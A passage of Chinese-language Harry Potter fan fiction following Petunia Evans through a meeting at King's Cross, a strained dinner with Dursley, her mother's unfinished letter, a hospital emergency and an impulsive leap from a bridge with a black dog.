“嘿,佩妮。”一个女人叫住她。
佩妮回头。
电线杆下站着一位穿着牛仔工装裤,头戴鸭舌帽的女人,棕红色没有光泽的头发乱糟糟地压在帽沿下。
她左手点着一根烟,露出来的手臂瘦削苍白,可以看见下面跳动的青筋。
佩妮不认得这样的女人。
“你也在写小说吗?“那女人说,她把香烟扔在电线杆下,抬起她的靴子踩灭了那根香烟。
又来了,怎么总要有人问她在不在写小说,现在就连街边的路人都要问她一句,你在不在写小说。
她写不写小说关他们什么事,关这个世界什么事?
“你是谁?“佩妮梗着自己的脖子说道。
那个电线杆下的女人把鸭舌帽抬了起来,向她走近。
随着她越走越近,佩妮在心里倒抽了一口气。
那是索菲·特拉瑟姆,不不不,索菲·文森特。
“你也在写小说吗?“她又问了一遍。
索菲·文森特的步伐有些奇怪,等她走近了,佩妮才赫然发现她小腹隆起,看起来足有七个月那么大。
“你说你不想生孩子的。”佩妮简直是惊声叫了起来,她讥诮地说:“你的作品就是你的孩子,这就是你沉寂这么久的惊世巨作吗?你的第二部作品,在你的肚子里。”
索菲却对她露出一抹微笑:“那天你就在排队的人群里对不对。”
她说不清楚这一刻涌上她心头的感觉,她只觉得她被这个世界愚弄,嘲讽,践踏在脚下:“那你,伟大的作家,索菲·文森特,那天为什么好像没有看见我一样。”
“她骗了我。”索菲没有回答她,自顾自地说道,“她骗了我。”
“谁骗了你?”
“阿加莎,”索菲说,“特拉瑟姆不是我父亲的名字,是我母亲养父母的姓氏。她骗我说我父亲死了,他根本没有死,他在伦敦活得好好的,养了前前妻、前妻和现任妻子的三个孩子,在电视上看见我,托人辗转找到我,让我拯救自己那深陷债务、药物依赖的可怜父亲。”
“文森特把他赶了出去,禁止他再同我见面。”
“文森特是爱我的,我也爱他。“
“但是为什么,他还要同她在一起呢?”
”我想要他的爱,我想要漂亮的大房子,我想要漂亮的衣服,我想要许诺,我想要自由,我想要我的书被人看见,我想要我被人看见。”
“他说,我太贪心了,我想要的太多了。”
“他说他对生活没有要求,他只想要一个孩子,所以我妥协了,这个孩子。”
“我想要的很多吗?”
艾玛,想要很多的艾玛。
在修道院阅读爱情小说的艾玛。
既想去巴黎,也想去死的艾玛。
她的空虚。
她过多的欲望。
她活该。
为自己的欲望,她罪有应得。
“你在写小说吗?”索菲问。
她的视线落在佩妮的珍珠项链上,落在佩妮的昂贵连衣裙上。
“你还在写小说吗?”她逼近她。
理智的线在脑海里崩裂开。
“那你还在写小说吗?”佩妮反唇相讥。
“他不是一开始就这样的。”
“不,他一开始就是这样!”佩妮尖叫起来,“把你推在墙上,他把你塞进计程车里,你跟他义无反顾地走了,一点也没有回头。”
“这是你自己的选择!“佩妮大叫。
“我有得选吗?”索菲看着她,那双失去光泽的美丽的眼睛瞪得大大的,“你又有的选吗?”
佩妮的胸膛起伏得厉害。在她的视线里,索菲怒气冲冲地冲过来,佩妮以为她要打自己,她举起手臂格挡在自己的面前。
索菲只是一把抱住了她。
“别停下来。“她在佩妮的耳边小声说。
佩妮抬头看着阴沉沉的,仿佛离她很近的天空。
“艾玛……”她想说的话卡在嗓子里。
“什么艾玛?“索菲松开了手,视线落在佩妮的头发上。
“你那跟松狮犬一样的头发是怎么一回事?”
88.chapter87
他们为什么用那样的眼神望着你。
詹姆·波特和莉莉从石墙里钻出来。
你的妹妹就站在那里。
你的妹妹只比你小一岁,刚出生的头两年,这一岁的年龄差距就意味着你对她的无上权威,和绝对统治。你的每一句话对她来说就是数学定律,宇宙法则。
但随着年岁的增长,她开始生长,开始追赶,于是在岁月齿轮运转的声音中,这一岁的差距每一年都在缩短,减小,直到差距拉得无限接近。
一件很随意的学生制式白色衬衫打底,外面罩一件半旧橘红色毛衣,那件毛衣有些年头了,是很多年前的某个圣诞节,他们一起为她挑选的礼物。毛衣有些地方已经起了毛球。下摆一条深灰色羊绒裙,底下是一双黑色的平底皮鞋。
她的红发带着水波纹似的卷度,就那么随意地披在身后。
你的妹妹就站在那儿,呼吸。
阳光便恨不得要从她每一根的头发里钻出来。
你呢?
佩妮出门时,已在穿衣镜里反复打量确认过自己那一身行头了。
她先将那头像松狮犬一样的头发剪短,拉直,等待头发长长的过程,就靠一顶蓝色小巧的礼帽斜斜戴在她头上,修饰她的发型。短发尾乖巧地收束在她脖颈周围,蓝色礼帽下伸出一小段白色网织面纱,视觉上拉低她的眉头和发际线之间的距离,也给她添加一点成熟优雅的气质
与之相配的是一袭天蓝色的连衣裙,搭配一件蓝白色的时尚短款外套。
再把她的珍珠项链,还有珍珠耳环戴上。
送她前往国王十字车站时,德思礼对她今天的妆容大为赞叹。
“请就在这里等着我。”她看着后视镜,微微调整了一下礼帽的位置,对德思礼说。她要一个人进入站台,去接莉莉。
现在她与刚进入百货公司时,见到的羡慕的那些女人差不多了。
佩妮握着她的手提包,面对着他们,就站在离他们不远处的地方。
面无表情地看着詹姆·波特带着一脸愚蠢的笑容站在莉莉的旁边,低头对莉莉说着什么。
他也是一身学生打扮的行头。
一群人从佩妮面前经过,有推着手推车的巫师一家人,也有白领打扮的公司职员。
这群人像河流一样,将她和他们分开,她在河岸这一边,他们在河岸这一边。
莉莉很快就望见了她。顺着莉莉的视线,詹姆·波特也看见了她。
但他一开始并没有认出佩妮来,等他反应过来,就像被什么东西烫到似的,火速松开了他握着莉莉的手。
瞧瞧他看着佩妮的眼神,若此时有外人在他们身上投下视线,一定会认为她好像是那童话故事里拆散王子和公主的老巫婆。
“莉莉。”佩妮冷冰冰地打量着河对岸,将她的双手横抱于胸前,她身型一动不动,只是微微翕动了一下她的嘴。
但佩妮只是刚发出一个音节,莉莉就越过河流向她扑了过来。
“佩妮!”由于惯性,莉莉把穿着高跟鞋的佩妮撞得往后后退了两三步才堪堪稳住身形,一双手顺势牢牢环住她的脖颈。
“我很想你。”莉莉温热的呼吸喷在她的皮肤上,用她毛茸茸的头发摩挲着她的脖颈。
詹姆·波特跟在莉莉的身后,伸出的手像不知道往哪儿放一样,最后落在他自己乱糟糟的头发上。
佩妮拽着莉莉的手在站台上径直往前走,她目不斜视,高跟鞋跟叩在站台的地面,持续发出清脆的响声。
詹姆·波特就跟在她们旁边,像一个总是蛰伏在公司楼底下的电线杆旁,不厌其烦地推销自己产品的推销员。
“嘿,佩妮。”他推了推自己的眼镜,老天,他们之间什么时候已经亲昵得交换教名了,“这个暑假,如果你有空,戈德里克山谷欢迎你。”
“同莉莉一起。”
“我们把房间收拾出来了,你喜欢二楼的房间吗?靠窗的房间虽然会有一点冷,但是你可以看到早晨越过山谷的第一缕阳光。”
“我的爸爸妈妈还记得你,我爸爸说那个在站台上,耳朵边别着一朵蓝色玫瑰的女孩。”
“戈德里克山谷不是只有巫师,也有普通人住在那里。”
“阳光,清风,森林,山谷。”
“我发誓那会是一个很不错的地方。”詹姆·波特说,“小天狼星也会跟我们待在一起。小天狼星?嘿,小天狼星!”
他停下来,回头。
佩妮这才意识到他身后遥遥坠着一个人影。
那人影左手提着行李箱,右手搭着他的外套,不紧不慢地跟在他们身后。
——小天狼星。
身着一件简单的白色衬衫,外套一件黑色半袖马甲。他黑色的头发束在脑后,左耳原本属于记忆里的那个金属耳环的位置空荡荡的。
同他第一次和她们相遇在伦敦时那样。
他一边往前走,视线落在身侧反射着阳光的铁轨上,追逐着落在铁轨之间草丛里啄食草籽的麻雀身上,比起站台上的景象,好像那就是现在最值得他热切关注的一切。
詹姆停下来等他,他靠近,现在他的视线不得不看过来了。
阳光穿过宇宙介质,落在地球上,反射到人的眼睛里需要多少秒。
他的视线落在她的身上,与她相对,又需要多少秒。
第一颗质子与中子相撞,剧烈的爆炸中宇宙诞生。
轰——
雪夜下的故事、摩托车与冲锋,那轮月亮,还有那颗明亮的星星。
迸射出的记忆碎片像巨大的火球向她席卷而来。
热烈地,凶猛地燃烧。
粒子分开,宇宙又再次崩塌。
坍塌成一双灰色的,冷冰冰的眼睛。
眼睛里反射着她今天一身华丽的穿着,她颈上的珍珠项链,还有她耳朵上的珍珠耳环。
只有一岁的差距,都在长大,但她显然成长得更快一步,一跃跃过了河水,跳到了河岸边。
这个宇宙里没有雪夜下的故事,没有雪夜下的摩托车,没有雪夜下的冲锋,既没有那轮月亮,也没有那颗明亮的天狼星。
莉莉在信里写,小天狼星·布莱克,在去年的9月,就已经同他的那个姓氏做了断绝。
9月,在那个圣诞节之前。
格兰芬多,一颗勇敢的心。
勇敢的心鄙弃一切投降背叛的行为。
多么无趣,现在他的眼神仿佛在说,好一个无趣的灵魂。
还以为她真有下地狱的勇气。
那就上天堂去吧,无趣的灵魂那就去天堂同耶稣作伴。
好像很漫长,需要一个宇宙诞生又崩塌的时间。
又好像很短暂,只是一个眨眼的瞬间。
在视线不得不相交的前一秒,佩妮收回他的视线,落在詹姆·波特的脸上。
他那真诚的,愚蠢的笑脸上。
“波特!”佩妮说。
“嘿,佩妮,你可以叫我詹姆。”詹姆·波特露出一副受伤的面容,他转而又笑出来:“你愿意吗?你会和莉莉一起来戈德里克山谷吗?”
“不,波特,”佩妮看着詹姆·波特的眼睛,轻声说,“我的意思是,你要跟着我们到什么时候?我们要出站了,现在,你该回你自己家了。”
她一把把詹姆·波特手上属于莉莉的箱子扯过来。
看起来很重,但实际一点重量也没有,空荡荡的。
魔法。
该死的魔法,还有那空荡荡的感觉。
“佩妮,我们去哪里?我们回科克沃斯,还是?”莉莉跟在她的身后,她的手钻在她的手掌心里就像一尾鱼。
走出车站,她看见了德思礼,她拉着莉莉走过去:“去伦敦,到我那里去,你一整个暑假,都要和我待在一起。”
但佩妮最后也没有去成戈德里克山谷。
佩妮手上端着一杯热茶,将遮蔽得严严实实的窗帘挑起一道小缝,窗外光线昏暗,她看着穿戴整齐的莉莉奔下她那栋老旧的公寓。
街灯还没亮起,路口有些昏暗,电线杆下攒动着两颗黑色的人头。
莉莉扑向其中一个人影。
那人接住她,将她抱起来,在原地旋转了一圈,她的头发在空中画出一圈红色的波纹。
另外一个身影抱着胳臂,斜倚在离他们两人不远的路灯下,他站起来,佩妮隐约看见他左耳的耳饰在灯光下闪过一阵亮丽的光芒。
他们三个走进了小路,街灯亮起。
佩妮一把拉上了她的窗帘。
“好好收拾一下,过几天我们就出发。”德思礼说。
佩妮握着的金属餐刀在雪白的餐盘上不慎发出
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一道粗粝的声音。
“去哪儿?”
“先前你没空去的那艘豪华游艇的旅程。”水晶吊灯就像舞台的聚光灯打在德思礼的头顶,他的脖子上系着雪白的餐巾,刀叉分离着盘中烤得恰到好处的牛排。
这间餐厅同舞台也差不了多少,悠扬小提琴声,优雅的女声伴唱,推杯换盏的声音从佩妮的身后向她传来。
“嗯,我……”佩妮低下头,在餐盘中那已被分割好的牛排切缘处落下重复的痕迹。
“你又没有空吗,佩妮?”德思礼看着她的表情,笑着打趣他,“但这次可不行。布勒布里奇太太点名需要你出席。”
佩妮看着餐盘中的牛排。德思礼和她都很喜欢这家牛排,这家百年传承的餐厅只进购最新鲜的牛排。
这家餐厅有专供的牧场,据说那里的牛从出生起就采取有机喂养的模式,只吃有机饲料,绝不棚养,为了保证它们的心灵健康,每天——直到送到屠宰场前都会保证半天的牧场散养日照时间。
——就为了保证端上餐盘时,最鲜嫩的口感。
“我……我想……”她斟酌着语气,想对德思礼说她的假期,同妹妹的旅行。
“你在写小说吗?”德思礼漫不经心地开口。
这句话就像在她身上开了一个口子,使她所有的力气都开始流失,她表情平静,心脏却开始扑通直跳。
“我……”
“你泼了查理·沃特斯一头一脸的咖啡。”德思礼挑眉看着她,脸上没有一点表情。
“从来没有人敢这么对待查理·沃特斯。”
佩妮放下手中的刀叉,咬紧了自己的牙关,抬头对德思礼说:“那是因为那天……”
德思礼突然笑了起来,像是佩妮的表情极大地取悦了他,气氛像冰雪融化般:“你泼得很好,佩妮。”
“沃特斯,沃特斯,自命不凡,洋洋得意的沃特斯,没有人喜欢他。”德思礼放下他的金属餐刀,将他的右手张开,翻转向上,学着沃特斯一脸自命不凡的样子。
“他说,那天一个头发像松狮犬一样的女人泼了他一头一脸的咖啡,他发誓要找出那个可恶的女人。”德思礼笑着说,“我说他要找谁的麻烦?找德思礼女伴的麻烦?”
“我有很多朋友,各行各业的朋友,如果他还想在他那个出版行业混下去的话。”
“你泼得很好。但那天你向玛莎·道尔夫订下了足够一家五口人一年阅读量的杂志,用的谁的卡?我给你的那张卡吗?”
“不,”佩妮低下了头,注视着自己餐盘中牛排的断面流出来的血红色液体,“是我自己的卡,格朗宁公司给我的工资。”
“有点不太划算,因为那天沃特斯根本不知道该拿你怎么办。”
“还有那些小说?噢,你们都会有一些小爱好,我该庆幸你的爱好是往杂志社寄点你写的那些小东西,而不是拿着我的卡刷下成衣店一列的名牌衣饰。”
“就是那些报纸太不入流了。如果你喜欢,我为你找几个编辑,将你写的那些东西都收集起来,为你单独编篡出一本书,光明正大地放置在书店的书架里,而不是像现在这样,东一篇西一篇流落在那些移民家庭、酒馆里。”
灯光照耀着这张红布覆盖的餐桌,一切都好像在舞台上。
“来吧,同我一起去,布勒布里奇太太相当喜欢你,她点名要你出面陪伴她。布勒布里奇先生长期与我们格朗宁公司有合作。”
她做了什么特殊的吗?她什么也没做,她只是偶尔在几个周末的下午,陪同那位先生长期不在身边的太太坐在咖啡馆里,或者电影院里,听她从她的斑点狗,一直讲到她卧室书房挂着的那副画上的葡萄。
她陪她点一根女士香烟,烟雾模糊了她们的面容。
等到太阳落山,街灯初上,她把那盒女士香烟塞进佩妮的手提包里。
“不要被他们看到。但你会需要它。”
“你想吃甜食吗?”德思礼唤来侍者,打开菜单,找到甜食的那一页,指着上面的甜食说:“都来一份。”
不知道怎么,也许是聚光灯太耀眼了,舞台上佩妮感到一阵虚弱,头脑和四肢都软弱无力。
“不用担心,我都能吃完。”
他合上餐牌,看见了佩妮的脸色,他的手隔着餐桌握住佩妮的手。
“我爱你,佩妮。”
89.chapter88
佩妮从一段漆黑深沉的梦中醒来。
微弱的光线从厚重的窗帘背后投射出来。
一时让她分不清现在是清晨还是下午。
但今天一定是一个阴天,还有可能会下雨。
因为她的头开始痛起来。
疼痛从左侧枕部的皮肤跃动至额前,一跳一跳地抽痛,使她半启自己的嘴,活像一条被搁浅在沙滩上的鱼,难以呼吸。
她拥着被子半坐在床上,房间里昏暗且安静。
一种被世界遗忘的恐慌在此时将她包裹住,于是她跳下床,顾不得穿鞋,奔向窗边一下拉开了窗帘。
屋外果然阴沉沉的,地面是潮湿的,昨天夜里下了一场暴雨。
眩晕和头痛的感觉像伦敦经年的雾气一样笼罩在她的身侧。
她要去厨房给自己端一杯温水,却被一双棕色的鹿皮靴绊了个趔趄。
旅行箱躺在鹿皮靴旁边,打开着,里面的衣服、配饰胡乱地散落一旁上。
她一脚将绊住她的罪魁祸首踢到了床下。
佩妮最终也没能去成那趟豪华游艇的海航之旅。
因为一封来自大西洋彼岸的急件将德思礼唤走了。
头痛的感觉愈发强烈。
厨房里只剩下冷水,她端着那杯冷水,直奔床头柜里的药瓶。
她蹲在床头柜前,拉开抽屉,一个棕色瓶子,艾琳·斯内普给她的,里面装着止痛药,还有一个白色瓶子,是埃莉诺带给她的,里面装着安眠药。
她想起那个午夜,埃莉诺带着药和伊索尔德造访的那个午夜。
窗外下着大雪。
她蜷缩在伊索尔德怀里。
她发着低烧,她想让伊索尔德向她保证,她要她们都有一个完美的结局。
在她的小说里,伊索尔德是一名小女巫,她对她许诺过的,如果她是一名女巫,她要第一个实现她的愿望。
“我保证。”昏沉中,伊索尔德的手穿过她的头发,对她说。
但伊索尔德哪里是真正的女巫,等天亮了,她们回到她们自己的生活里去,她的许愿也只不过是一个美好梦幻泡影罢了。
佩妮从棕色的药瓶里倒出一片止痛片,仰头服了下去。
疼痛像潮水一般褪去。
她把两个瓶子都拿在手上晃了晃,发觉两瓶药都快见底了。
但没关系,她想起来了,今天约了莱奥医生,每个月他都会在一个固定的时间为她开具下个月的止痛药和安眠药。
想到这,一颗一直漂浮在空中的心开始安定下来。
因为她知道今天她会有一个合适的去处,她不必一个人在这里待着。
钢化玻璃的四面包裹下,外界的风雨无法吹进这间小屋,但也使得所有的声音被禁锢在这间房间里,使一切变得难以忍受地清晰起来。
往常这个时候,她会和德思礼待在一起,或者去跟那些金发女士们待在一起。
话题也许会无聊,但她却也不用忍受那使得她血管和神经持续不断跳动的声音。
药效开始上来,神经慢慢缓和。
布勒布里奇太太在那座豪华游艇里漂洋在海上,德思礼此时坐在飞机里飞去大西洋的彼岸。
莉莉呢。
莉莉和詹姆·波特,还有小天狼星·布莱克待在戈德里克山谷里,享受阳光和清风。
也许她应该写信给莉莉,告诉她,如果他们愿意来接她的话。
但她什么也不想做。
她慢吞吞地从地上站起来,打开衣柜,从里面随手挑选了一身衣服穿在身上,对着镜子,粉刷从她的眉眼间拂过,再涂上一层薄薄的口红,一切准备就绪,她提起一把长柄伞,要走出房门。
但在把手搭在门把手上时,佩妮停下了自己的动作。
鞋子。
鞋子被她踢到了床底下。
于是她只好折返回来,趴下来,用长柄伞的伞柄将那双棕色的鹿皮靴钩出来。
她看见了那只手提包。
警察局邮寄回来的,妈妈的手提包。
一只玫粉色的手提包,不算贵重,妈妈很喜欢它,她出门总是携带着它。妈妈在的时候会悉心保养它,用柔软的干布拭去表面的灰尘,再给它抹上貂油,因此这只玫粉色的手提包有远低于她使用年龄的光滑外表。
但现在这个被她遗忘了大半年的玫粉色手提包就这样安静地躺在床底下。
佩妮想了想,慢吞吞地伸出伞柄,将那个手提包勾了出来。
她拂去手提包上的灰尘和蛛网,打开来,将里面的东西一股脑地倒在地上。
半瓶香水,一条丝巾,空白的纸,一只笔,一点现金。
还有一个没有署名,未写地址的白色信封。
佩妮从那堆东西里抓起那个没有塑边的信封,把它拆开来。
信封里是一打纸币。
——送给佩妮的礼物。
一封只落了个开头的信。
佩妮感觉自己的呼吸开始变得沉重,像是有什么东西沉甸甸地压在她的胸口。
信上是妈妈的字迹,充满了涂划的痕迹,写信人看起来还没有想好她要写什么。
“给佩妮的教育启动资金”划掉,”给佩妮的生日礼物“,再划掉。
“如果你确定要继续的话”划掉,“一条不是很容易走的路“,再划掉,”妈妈只希望佩妮拥有幸福快乐的一生。“
窗外传来闷雷声,新的大雨要落下,但耳朵突然听不见了,眼睛也看不清了。
有什么东西在这一刻堵住了她的眼耳口鼻。
她走进那家医院的分诊台。
“您好,伊万斯女士,今天比往常要迟一些,不过不打紧,前一位病人的咨询还没有结束,请您在长椅上稍坐一会儿,等莱奥先生好了,我们就通知您上去。”
佩妮坐在等候区的长椅上,将长柄伞收束在自己的身边。
隔着一扇玻璃,隔壁就是这间医院的紧急医疗处理中心,有穿着蓝色手术服的医生护士推着床车在紧急医疗处理中心的门口与一条金属质的白色长廊之间来回跑动。
只隔着一扇玻璃,各式各样的脸,或带着泪水,或苍白麻木,统统从玻璃那面投射过来。
佩妮不得不低下了自己头。
天边再次滚过一声闷雷,佩妮被这声音吓了一跳,玻璃反光上映出她苍白的脸,她听见风狠狠刮过树梢,雨点搭在屋檐上的声音。
“快让开!”紧急医疗处理中心的门再次被推开,风雨从大开的门里灌了进来。
救护车停在风雨里,一辆床车被从上面卸了下来,车上躺着一名穿着红色裤子的女人。
穿着白大衣的医生和护士冲向那辆床车,指挥着将床车推向那条金属质的白色长廊。
床车从佩妮面前的玻璃一晃而过。
她猛地从座位上站起来。
她认出来了,跟在床车旁,那个浑身湿透的,像游魂一样身影。
是阿加莎。
阿加莎女士那张向来严肃的脸上依旧没有什么表情,跟着担架快步往前走,另一只手却牢牢握着床车上的人。
追逐着床车,佩妮绕过那堵玻璃墙。
仪器冰冷的滴答声,呻吟声、祷告声还有哭喊声,白色的床单,明晃晃的灯光,在这一刻朝她扑面而来,将她裹挟至另一个混乱的,不安的世界。
世界太混乱了,因此也没有人注意,或者有空将多余的注意力投射到尾随着那辆床车的佩妮身上。
躺在床上的是索菲。
她不是穿着一条红色的裤子,是血水混合着浑浊的液体,将她的裤子染成了红色。
索菲的脸色像她身下的床单那样惨白。
但是她在笑,像着美梦成真那样畅快地笑着。
推着她的床车的医护人员将氧气面罩按在她的脸上,给她的手指上夹着冒着红光的仪器。
警报声滴答作响。
但索菲伸出自己的手摘下面罩,眼睛一错不错地看着阿加莎。
“姨妈,我把他推了下去。”
她的声音很轻,却在混乱中准确地传到了佩妮的耳朵里。
阿加莎的脸色就像屋外的乌云一样,阴沉得快要滴出水来,但听见索菲的话,她像下定了什么决心一般对索菲说:“不,记住,不是你把他推下去的,是我,我把他推下去的。”
屋外的闷雷一声响过一声,室内的仪器尖锐地鸣叫着。
身边有步履匆匆地脚步超过她,迎面也不断撞来面色沉重的人,但佩妮顾不得这些,她浑浑噩噩地跟着床车沿着那条金属质的长廊往里走。
走廊的尽头是一扇紧闭的大门,上面闪烁着骇人的红光,标志着“急诊手术室”几个大字。
那扇门开了,从里面钻出来几个戴着口罩帽子的人,他们急匆匆地接过索菲的床车,要把她带进那个仿佛是另外的一个世界里去。
而阿加莎女士不能再将索菲送进去了。
她停在原地,想松开抓紧索菲的手,但是索菲不肯放。
“姨妈。”像在思索着什么,那双美丽的眼睛带着迷茫,惘然地望着阿加莎。
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但阿加莎目光沉沉地看着她,语气是说不出地坚定:“你自己进去,然后活下来,记住,我在这里等你。”
“我会死吗?”
“不,我会在这里等你。”
索菲用她那双美丽的眼睛看了阿加莎女士良久,突然露出一个璀璨的笑容,像是困扰她多年的谜底在此刻被解开:“我知道了。”
握着阿加莎的手一松,被推进金属大门之前,一句很轻的话从索菲的床车上掉下来。
“妈妈。”
金属大门朝两侧大开,又被关上,两个世界因此被隔开。
阿加莎女士站在原地,举着那只沾满了索菲鲜血的手,一动也不动。
佩妮转身沿着那条金属质的长廊往外走。
明晃晃的灯光照彻这条长廊,在金属质的墙面上反射,折射到她的眼睛里,随着光线一同折射进来的,还有那句话。
——妈妈。
单词从床车上掉下来,弹落在地面上,随后在金属走廊无机质的墙壁上来回激荡、翻滚,闯进她的心里,就像一把剑,穿透了她的胸膛。
——妈妈。
原来答案在这里。
室外一刻不停地在下雨,快将天地连成一片了。
“嘿,伊万斯小姐,莱奥先生马上就好了。”那位穿着粉色护士服的导诊员在她身后对她说。
但她忘记了莱奥先生,忘记了自己的预约时间,忘记了她的长柄伞,忘记了时间,忘记了空间,就这样一头扎进那仿佛要洗去一切的雨水里。
雨水向她兜头浇来,从头淋到脚。
她抬手抹一把脸,手上带下来她的粉底、眼线、睫毛还有口红。
雨水冲刷掉了她精致的妆容,她现在一定狼狈极了。
零星的路人经过她,惊异的目光从伞下向她投射过来。
但她一点也不在意。
雨太大了,无论是自己还是他人,她都看不清。
雨太大了,就好像这天地间只剩下了她一个人。
她讨厌一个人呆在那里。
这会让她不知道往哪个方向走,无论往哪个方向走好像都在朝向科克沃斯前进,但她一点儿也不想回去。
现在她一个人待着,却发现好像往哪个方向走都行,往东,往南,往北,往任何一个方向,不回科克沃斯也行。
妈妈。
索菲的答案在这里。
那她的答案呢?
给佩妮的教育启动资金……
她停在一座桥上。
她再次拭去她脸上的雨水,看着奔腾的河水从桥洞流过,融入雨水的生命,一刻不停地咆哮着向着远方的大海里流去。
被真实的河水淹没。
佩妮盯着那川流不息的河水。
跳下去。
这是她大脑里突然钻出的牢牢把控她的唯一的念头。
跳下去。
不不不,此刻她并不是想寻死,相反在这一刻,想活下去的念头达到了顶峰,她很想活下去。
她只是也很想知道,真正的河水,是什么样的感觉。
这是泰晤士河一条很小的分支,河水不会很深,离岸边也很近,桥面并不高,很快,她就会被人打捞上岸,然后交一笔罚款。
那不重要,总之,她要试试真实的河水。
她深吸了一口气。
桥上空无一人,既没有车也没有行人。
现在是个好时机。
她伸手一颗一颗解开自己风衣外套的扣子,她想把风衣留在这里,但是她的风衣已然被雨水打湿,穿着它跳下去也无所谓。
她这么想着,停下了脱下风衣的手。
在她准备跳下去的那一刻。
她听见雨声中传来一声不甚清晰的叫声。
她转头。
雨幕里冲出来一只黑狗,很大的像狼一样的黑狗。
在她放大的视线里,黑狗以一种极高的速度向她冲撞而来,看起来仿佛要把她撞下桥去。
黑狗,又是这条黑狗。
它也要向她宣战吗?
佩妮盯着那条快速朝她冲过来的黑狗,下了一个决定。
她转身朝向黑狗,视线里黑狗向她冲过来,张开嘴巴,露出牙齿。
在黑狗要一口咬住她之前,佩妮微微往后一撤,让黑狗的牙齿落空,撞进她的怀里,她伸手环住那只黑狗,牢牢抱紧它。
不顾它的挣扎。
在这空无一人的桥上,在这瓢泼的大雨里。
她同那条黑狗一同跌进冰冷的河水里。
90.chapter89
佩妮坐在警察局的长凳上,她一身湿透了,但好心的女警员为她拿来了干净的毛毯还有热茶。
透过警察局的玻璃窗往外看,天空已然放晴。
“这是你需要缴纳的金额费用,女士。”那名女警员将账单拿来给佩妮过目。
佩妮接过文件,视线从那一行行文字上扫视过去,眼睛不由得越瞪越大。
"打捞费、违反公共安全条例罚单我都能接受,但是为什么里面还包括了破坏警察局公共设施、警务人员精神损失费?“
佩妮把白纸拍在桌上,指着罪魁祸首说:“那不是我的狗。”
顺着她的手指,被指着的罪魁祸首嘴里叼着什么东西,在警察局另一边从一张桌子的一端飞跃至另一端。所经之处人仰马翻,文件漫天飞舞,被咬烂的报纸像棉絮一样飘在空中,试图追捕它的警员火冒三丈却又无可奈何。
佩妮收回自己的手指,看着女警员的眼睛,一字一句地认真重复了一遍:“那、不、是、我、的、狗。”
键盘敲击声,交谈声,叫骂声,背景如此嘈杂,谁知道这句话怎么就清晰地传到了罪魁祸首的耳朵里,它突然停下了奔跑的步伐,一扭头一转身,黑色的眼睛精准同佩妮对上。
佩妮心里暗道不好,但来不及了。
它吐出那只被他咬烂的毛绒玩具,随后便拖着挂在它一长串被撕咬得认不出原型的布条,闪电般向她跑了过来。
谁也抓不到的罪魁祸首堪堪停在她面前,众目睽睽之下,将一颗湿漉漉脏兮兮的狗头,放在了佩妮的膝盖上。
“……”佩妮。
”……“望着她的女警员以及追捕它的警察局众人。
罪魁祸首耷拉着耳朵,一双黑色的眼睛诚挚地看着佩妮,发出一声乖巧的呜咽声,她的腿往哪个方向移动,它的头也往那个方向移动。
看着女警员的表情,感受着膝盖上的重量,佩妮闭上了眼睛,认命地接过了女警员手上的罚单。
她再睁开眼,露出一抹微笑,对女警员说:“请将牵引绳还有狗嘴套给我。”
黑狗警觉地竖起耳朵,再想跑已经来不及了。佩妮一下站起来,利用自己全身的力量把它压在警察局光滑的地面上,双手揪住它的耳朵,凑近它,咬牙切齿地低声说:“如果你想和我一起从警察局出去的话。”
佩妮缴纳了比她的预想高出了数倍的巨额罚款,签字时她的心都在滴血,而蹲坐在一旁看她落笔的黑狗看起来可相当开心。
“离泰晤士河远一点。”好心的女警员站在警察局门口提醒佩妮,“独身女性饲养大型犬防身没有问题,但小姐你要注意和它的体型差距。”
“我知道了。”那条黑狗猛地朝前一蹿,拉得佩妮身形一晃,但她面不改色站好,暗中拽紧了手里的缰绳,将那条试图偷偷溜走的黑狗拽到自己脚边,“谢谢您的提醒,我会注意的,远离泰晤士河,并且保证下次不会再被它拽进河水里了。”
她决定把所有的问题都推到这条黑狗身上,反正它也不会说话。
听见佩妮的话,那条黑狗忍不住仰头发出一声长长的呜叫声,要不是套了一个嘴套,它看起来真想一口咬在佩妮的腿上。现在它就待在佩妮的腿边,尾巴用力地抽打着佩妮的腿,发出响亮的拍击声。
有点痛,佩妮忍着大腿外侧的疼痛,手一刻也不放松对缰绳的控制,礼貌对女警员道别,牵着黑狗拐了个弯便消失在了他们的视线中。
雨已经停了,乌云散去,天空放晴,太阳从云后转出来,照射在街道两侧建筑的屋顶,折出金黄的光线,水滴沿着屋檐滴答落在地上,蓄积成一滩小小的水洼,佩妮抬步跨过那些水洼,大大小小的水面拼凑出她此时的形象。
她的头发湿漉漉地贴在面颊边,脸上的妆容全掉了,风衣外套还有里面的衣服在往下滴着水。
看起来狼狈极了。
那条黑狗也不遑多让,浑浊的水使它原本光滑蓬松的毛结成了一缕缕,贴在它矫健流畅的身形上。
一人一狗就这样走在伦敦的街道上,陆续走上街道的行人向他们投来的异样目光。
等到下一个路口,佩妮牵着那条黑狗钻进那条没有人的小巷。
佩妮停下来,黑狗回头看着她。
猛烈甩动的尾巴暴露了它焦躁的内心,它一刻也不能容忍戴在它脖子上的牵引绳还有它嘴上的嘴套了。
一条相当聪明的狗。
它仿佛能听懂人说话。
她抱着它,跌进河里,冰冷的河水涌进她的口鼻,在那一刻将她淹没。
河水下面是什么,黑暗吗?
但她在河水里勉强睁开眼睛,蓝色的、青色的、绿色的各种绚烂光影在那一刻汇入她的眼底。
只在落入水中的那一刻,河水的冰冷要冻僵她的四肢,但她很快就适应了这温度,于是河水变暖,沸腾,将她一颗心也浸得滚烫。
佩妮。
妈妈的声音回荡在耳边。
有一天下午,在百货大楼公司的长廊上,奥莉维亚追上她,给了她一张妈妈的照片。
照片上是年轻的妈妈和奥莉维亚。
一张黑白照片,隐去了所有颜色的信息。
没有那头红色的头发,佩妮看着照片,年轻的玛格丽特对着镜头在笑,她的五官同佩妮一模一样。
触底的时间很短,借着下坠的惯性,她踩到了柔软的河床,随后水的浮力便温柔地托着她向上。
她抱着那条黑狗。
一刻不停地向上。
直到她破出水面,大口喘着粗气,重新看见天空的阳光和白云。
雨停了。
沉重的水珠从她脸上还有身上落下去,久违的轻盈萦绕着她,那些感觉也顺着那些沉重的水滴,落入河里,最终汇入遥远的海洋。
她静静漂浮在水面上,抬头看着离她那么远又那么近的天空。
任凭河水带着她飘向水流的方向。
她在动。
一股微弱的力量拽着她逆着水流,向岸边飘去。
那条同她一同落水的黑狗也一并浮出了水面,咬着她的衣领,正带着她缓慢朝岸边游去。
莫名其妙出现又消失的黑狗,弄掉她的晚餐,看起来想把她撞进河里,此刻却想把她带上岸边。
原来是一条好狗。
